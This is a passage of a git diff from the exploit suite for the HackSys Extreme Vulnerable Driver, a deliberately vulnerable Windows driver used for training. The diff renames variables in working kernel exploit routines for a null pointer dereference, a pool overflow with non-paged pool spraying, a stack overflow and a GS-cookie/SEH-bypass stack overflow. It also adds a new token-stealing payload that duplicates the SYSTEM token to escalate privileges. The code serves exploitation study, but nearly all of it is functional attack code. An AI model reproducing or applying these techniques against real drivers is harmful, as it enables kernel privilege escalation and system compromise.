Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/IntegerOverflow.h b/Exploit/Source/IntegerOverflow.h index c2abe20..75acb6b 100644 --- a/Exploit/Source/IntegerOverflow.h +++ b/Exploit/Source/IntegerOverflow.h @@ -58,6 +58,6 @@ Abstract: #define RET_OVERWRITE_INTEGER 11 #define BUFFER_TERMINATOR 1 - DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter); + DWORD WINAPI IntegerOverflowThread(LPVOID Parameter); #endif //__INTEGER_OVERFLOW_H__ diff --git a/Exploit/Source/NullPointerDereference.c b/Exploit/Source/NullPointerDereference.c index 5abb824..016d2d6 100644 --- a/Exploit/Source/NullPointerDereference.c +++ b/Exploit/Source/NullPointerDereference.c @@ -50,14 +50,14 @@ Abstract: #include "NullPointerDereference.h" -DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { +DWORD WINAPI NullPointerDereferenceThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - ULONG magicValue = 0xBAADF00D; - PVOID nullPointerPlus4 = NULL; - PVOID nullPageBaseAddress = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + ULONG BytesReturned; + ULONG MagicValue = 0xBAADF00D; + PVOID NullPointerPlus4 = NULL; + PVOID NullPageBaseAddress = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -94,15 +94,15 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n"); - nullPointerPlus4 = (PVOID)((ULONG)nullPageBaseAddress + 0x4); + NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4); // Now set the function pointer - *(PULONG)nullPointerPlus4 = (ULONG)pEopPayload; + *(PULONG)NullPointerPlus4 = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointerPlus4); - DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointerPlus4); + DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4); + DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n"); @@ -110,11 +110,11 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, - (LPVOID)&magicValue, + (LPVOID)&MagicValue, 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); diff --git a/Exploit/Source/NullPointerDereference.h b/Exploit/Source/NullPointerDereference.h index c827d3c..fcb770c 100644 --- a/Exploit/Source/NullPointerDereference.h +++ b/Exploit/Source/NullPointerDereference.h @@ -55,6 +55,6 @@ Abstract: #include "Common.h" - DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter); + DWORD WINAPI NullPointerDereferenceThread(LPVOID Parameter); #endif //__NULL_POINTER_DEREFERENCE_H__ diff --git a/Exploit/Source/Payloads.c b/Exploit/Source/Payloads.c index 3edca8a..54e9b68 100644 --- a/Exploit/Source/Payloads.c +++ b/Exploit/Source/Payloads.c @@ -205,3 +205,63 @@ VOID TokenStealingPayloadPoolOverflowWin7() { mov eax, 0x1 } } + +VOID TokenStealingPayloadDuplicateToken() { + // 1. Get handle to SYSTEM process + // 2. Get the token of SYSTEM process + // 3. Duplicate the token + // 4. Set current process token to new privileged token + // Examples: + // http://j00ru.vexillium.org/?p=1272 + // http://www.wasm.ru/forum/viewtopic.php?id=29591 + // + HMODULE hModule = NULL; + CLIENT_ID ClientId = { 0 }; + HANDLE hSystemProcess = NULL; + PEPROCESS CurrentProcess = NULL; + HANDLE hSystemProcessToken = NULL; + HANDLE hNewPrivilegedToken = NULL; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PROCESS_ACCESS_TOKEN AccessToken = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + + ClientId.UniqueProcess = (HANDLE)0x4; + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = ZwOpenProcess(&hSystemProcess, GENERIC_ALL, &ObjectAttributes, &ClientId); + + NtStatus = ZwOpenProcessToken(hSystemProcess, GENERIC_ALL, &hSystemProcessToken); + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = ZwDuplicateToken(hSystemProcessToken, + TOKEN_ALL_ACCESS, + &ObjectAttributes, + TRUE, + TokenPrimary, + &hNewPrivilegedToken); + + AccessToken.Token = hNewPrivilegedToken; + + // Fix the issue with PrimaryTokenFrozen + CurrentProcess = PsGetCurrentProcess(); + + // Now set PrimaryTokenFrozen to NULL + CurrentProcess->PrimaryTokenFrozen = 0; + + NtStatus = ZwSetInformationProcess(GetCurrentProcess(), + ProcessAccessToken, + &AccessToken, + sizeof(AccessToken)); + + if (hNewPrivilegedToken) { + ZwClose(hNewPrivilegedToken); + } + + if (hSystemProcessToken) { + ZwClose(hSystemProcessToken); + } + + if (hSystemProcess) { + ZwClose(hSystemProcess); + } +} diff --git a/Exploit/Source/Payloads.h b/Exploit/Source/Payloads.h index 7d10e36..a6e5ab2 100644 --- a/Exploit/Source/Payloads.h +++ b/Exploit/Source/Payloads.h @@ -64,6 +64,7 @@ Abstract: VOID TokenStealingPayloadWin7(); VOID TokenStealingPayladGSWin7(); VOID TokenStealingPayloadWin7Generic(); + VOID TokenStealingPayloadDuplicateToken(); VOID TokenStealingPayloadPoolOverflowWin7(); #endif //__PAYLOADS_H__ diff --git a/Exploit/Source/PoolOverflow.c b/Exploit/Source/PoolOverflow.c index 2da2e7d..86c0320 100644 --- a/Exploit/Source/PoolOverflow.c +++ b/Exploit/Source/PoolOverflow.c @@ -53,20 +53,22 @@ Abstract: VOID SprayNonPagedPoolWithEventObjects() { UINT32 i = 0; - RtlFillMemory(hEventObjectArrayA, sizeof(hEventObjectArrayA), 0x0); - RtlFillMemory(hEventObjectArrayB, sizeof(hEventObjectArrayB), 0x0); + RtlFillMemory(EventObjectArrayA, sizeof(EventObjectArrayA), 0x0); + RtlFillMemory(EventObjectArrayB, sizeof(EventObjectArrayB), 0x0); for (i = 0; i < 10000; i++) { - hEventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL); - if (!hEventObjectArrayA[i]) { + EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL); + + if (!EventObjectArrayA[i]) { DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 0; i < 5000; i++) { - hEventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL); - if (!hEventObjectArrayB[i]) { + EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL); + + if (!EventObjectArrayB[i]) { DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -79,7 +81,7 @@ VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() { for (i = 0; i < 5000; i += 16) { for (j = 0; j < 8; j++) { - if (!CloseHandle(hEventObjectArrayB[i + j])) { + if (!CloseHandle(EventObjectArrayB[i + j])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -92,7 +94,7 @@ VOID FreeEventObjects() { UINT32 j = 0; for (i = 0; i < 10000; i++) { - if (!CloseHandle(hEventObjectArrayA[i])) { + if (!CloseHandle(EventObjectArrayA[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -100,7 +102,7 @@ VOID FreeEventObjects() { for (i = 8; i < 5000; i += 16) { for (j = 0; j < 8; j++) { - if (!CloseHandle(hEventObjectArrayB[i + j])) { + if (!CloseHandle(EventObjectArrayB[i + j])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -108,14 +110,14 @@ VOID FreeEventObjects() { } } -DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { +DWORD WINAPI PoolOverflowThread(LPVOID Parameter) { + ULONG BytesReturned; HANDLE hFile = NULL; - PVOID pMemory = NULL; - ULONG bytesReturned; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadPoolOverflowWin7; - SIZE_T userModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE); + PVOID Memory = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7; + SIZE_T UserModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -129,9 +131,9 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -146,17 +148,17 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Mapping Null Page\n"); @@ -168,41 +170,41 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); // Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar) - pMemory = (PVOID)((ULONG)pUserModeBuffer + (ULONG)POOL_BUFFER_SIZE); - *(PULONG)pMemory = (ULONG)0x04080040; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0xee657645; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000040; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000001; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000001; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00080000; + Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE); + *(PULONG)Memory = (ULONG)0x04080040; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0xee657645; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000040; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000001; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000001; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00080000; DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n"); DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n"); // Set the DeleteProcedure to the address of our payload - *(PULONG)0x00000060 = (ULONG)pEopPayload; + *(PULONG)0x00000060 = (ULONG)EopPayload; DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060); DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n"); @@ -223,11 +225,11 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Allocate the vulnerable buffer in one of the holes we created DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_POOL_OVERFLOW, - (LPVOID)pUserModeBuffer, - (DWORD)userModeBufferSize, + (LPVOID)UserModeBuffer, + (DWORD)UserModeBufferSize, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -239,7 +241,9 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Free the NonPaged Pool FreeEventObjects(); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/PoolOverflow.h b/Exploit/Source/PoolOverflow.h index 346e61a..84583a6 100644 --- a/Exploit/Source/PoolOverflow.h +++ b/Exploit/Source/PoolOverflow.h @@ -58,12 +58,12 @@ Abstract: #define POOL_BUFFER_SIZE 504 #define TYPE_INDEX_OVERWRITE 40 - HANDLE hEventObjectArrayA[10000]; - HANDLE hEventObjectArrayB[5000]; + HANDLE EventObjectArrayA[10000]; + HANDLE EventObjectArrayB[5000]; VOID FreeEventObjects(); VOID SprayNonPagedPoolWithEventObjects(); - DWORD WINAPI PoolOverflowThread(LPVOID lpParameter); + DWORD WINAPI PoolOverflowThread(LPVOID Parameter); VOID CreateHolesInNonPagedPoolByCoalescingEventObjects(); #endif //__POOL_OVERFLOW_H__ diff --git a/Exploit/Source/StackOverflow.c b/Exploit/Source/StackOverflow.c index afed854..62ceac6 100644 --- a/Exploit/Source/StackOverflow.c +++ b/Exploit/Source/StackOverflow.c @@ -50,14 +50,14 @@ Abstract: #include "StackOverflow.h" -DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { +DWORD WINAPI StackOverflowThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - PVOID pMemoryAddress = NULL; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7; - SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); + ULONG BytesReturned; + PVOID MemoryAddress = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7; + SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -87,30 +87,30 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); - pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - sizeof(ULONG)); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; + MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG)); + *(PULONG)MemoryAddress = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n"); @@ -118,16 +118,18 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, - (LPVOID)pUserModeBuffer, - (DWORD)userModeBufferSize, + (LPVOID)UserModeBuffer, + (DWORD)UserModeBufferSize, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/StackOverflow.h b/Exploit/Source/StackOverflow.h index bc0b53c..c2ded42 100644 --- a/Exploit/Source/StackOverflow.h +++ b/Exploit/Source/StackOverflow.h @@ -57,6 +57,6 @@ Abstract: #define RET_OVERWRITE 9 - DWORD WINAPI StackOverflowThread(LPVOID lpParameter); + DWORD WINAPI StackOverflowThread(LPVOID Parameter); #endif //__STACK_OVERFLOW_H__ diff --git a/Exploit/Source/StackOverflowGS.c b/Exploit/Source/StackOverflowGS.c index 922e20c..de79f28 100644 --- a/Exploit/Source/StackOverflowGS.c +++ b/Exploit/Source/StackOverflowGS.c @@ -50,18 +50,18 @@ Abstract: #include "StackOverflowGS.h" -DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { +DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - SIZE_T pageSize = 0x1000; - HANDLE hSharedmemory = NULL; - PVOID pMemoryAddress = NULL; - PVOID pSuitableMemoryForBuffer = NULL; - SIZE_T seHandlerOverwriteOffset = 0x214; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - LPVOID lpSharedMappedMemoryAddress = NULL; - PVOID pEopPayload = &TokenStealingPayladGSWin7; - LPCTSTR lpSharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; + ULONG BytesReturned; + SIZE_T PageSize = 0x1000; + HANDLE Sharedmemory = NULL; + PVOID MemoryAddress = NULL; + PVOID SuitableMemoryForBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + LPVOID SharedMappedMemoryAddress = NULL; + SIZE_T SeHandlerOverwriteOffset = 0x214; + PVOID EopPayload = &TokenStealingPayladGSWin7; + LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -75,9 +75,9 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -92,68 +92,68 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Creating Shared Memory\n"); // Create the shared memory - hSharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, - NULL, - PAGE_EXECUTE_READWRITE, - 0, - pageSize, - lpSharedMemoryName); + Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, + NULL, + PAGE_EXECUTE_READWRITE, + 0, + PageSize, + SharedMemoryName); - if (!hSharedmemory) { + if (!Sharedmemory) { DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", hSharedmemory); + DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory); } DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n"); // Map the shared memory in the process space of this process - lpSharedMappedMemoryAddress = MapViewOfFile(hSharedmemory, - FILE_MAP_ALL_ACCESS, - 0, - 0, - pageSize); + SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, + FILE_MAP_ALL_ACCESS, + 0, + 0, + PageSize); - if (!lpSharedMappedMemoryAddress) { + if (!SharedMappedMemoryAddress) { DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", lpSharedMappedMemoryAddress); + DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress); } - pSuitableMemoryForBuffer = (PVOID)((ULONG)lpSharedMappedMemoryAddress + (ULONG)(pageSize - seHandlerOverwriteOffset)); + SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); - DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", pSuitableMemoryForBuffer); + DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer); DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory(lpSharedMappedMemoryAddress, pageSize, 0x41); + RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41); - pMemoryAddress = (PVOID)((ULONG)pSuitableMemoryForBuffer + 0x204); - *(PULONG)pMemoryAddress = 0x42424242; // overwrite xor'ed cookie + MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204); + *(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie - DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = 0x43434343; // junk + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = 0x43434343; // junk - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = 0x44444444; // Next SE handler + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = 0x44444444; // Next SE handler - DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; // SE Handler + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = (ULONG)EopPayload; // SE Handler - DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n"); @@ -161,11 +161,11 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS, - (LPVOID)pSuitableMemoryForBuffer, - (DWORD)seHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE, + (LPVOID)SuitableMemoryForBuffer, + (DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); diff --git a/Exploit/Source/StackOverflowGS.h b/Exploit/Source/StackOverflowGS.h index 933fd86..65413fb 100644 --- a/Exploit/Source/StackOverflowGS.h +++ b/Exploit/Source/StackOverflowGS.h @@ -59,6 +59,6 @@ Abstract: #define RAISE_EXCEPTION_IN_KERNEL_MODE 0x4 #define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory" - DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter); + DWORD WINAPI StackOverflowGSThread(LPVOID Parameter); #endif //__STACK_OVERFLOW_GS_H__ diff --git a/Exploit/Source/TypeConfusion.c b/Exploit/Source/TypeConfusion.c index 86420b0..8244414 100644 --- a/Exploit/Source/TypeConfusion.c +++ b/Exploit/Source/TypeConfusion.c @@ -50,12 +50,12 @@ Abstract: #include "TypeConfusion.h" -DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { +DWORD WINAPI TypeConfusionThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG 